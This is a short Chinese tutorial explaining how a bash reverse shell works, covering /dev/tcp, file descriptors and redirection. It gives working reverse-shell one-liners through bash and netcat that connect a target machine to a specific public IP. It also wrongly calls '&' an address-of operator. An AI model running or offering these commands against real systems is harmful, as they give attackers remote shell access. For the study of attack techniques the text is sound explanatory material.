反弹shell原理讲解
bash -i >& /dev/tcp/49.232.106.183/8080 0>&1
首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
基础知识:
Linux文件描述符和重定向的含义如下。
linux shell下常用的文件描述符是:
1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2. 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
&不是and的意思,&是取地址符。
下面说一下“>&”究竟是什么意思。它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。通过测试可知“>&”和“&>”是一样的意思,都是将标准错误输出定向到标准输出中。
接下来是“0>&1”的含义。“0>&1”和“0<&1”是一个意思,都是将标准输入重定向到标准输出中。
而最上面命令的意思是:在目标机器上创建一个可交互的bash并且到49.232.106.183:8080(我们自己的具有公网ip的机器)的TCP链接,然后将bash的输入输出错误都重定向到在49.232.106.183:8080监听的进程。
使用nc反弹shell命令:
在本机:netcat -lvvp 6987
在靶机:nc 49.232.106.183 6987 -e /bin/sh
然后在本机输入命令即可
文章参考:https://www.anquanke.com/post/id/85712

浙公网安备 33010602011771号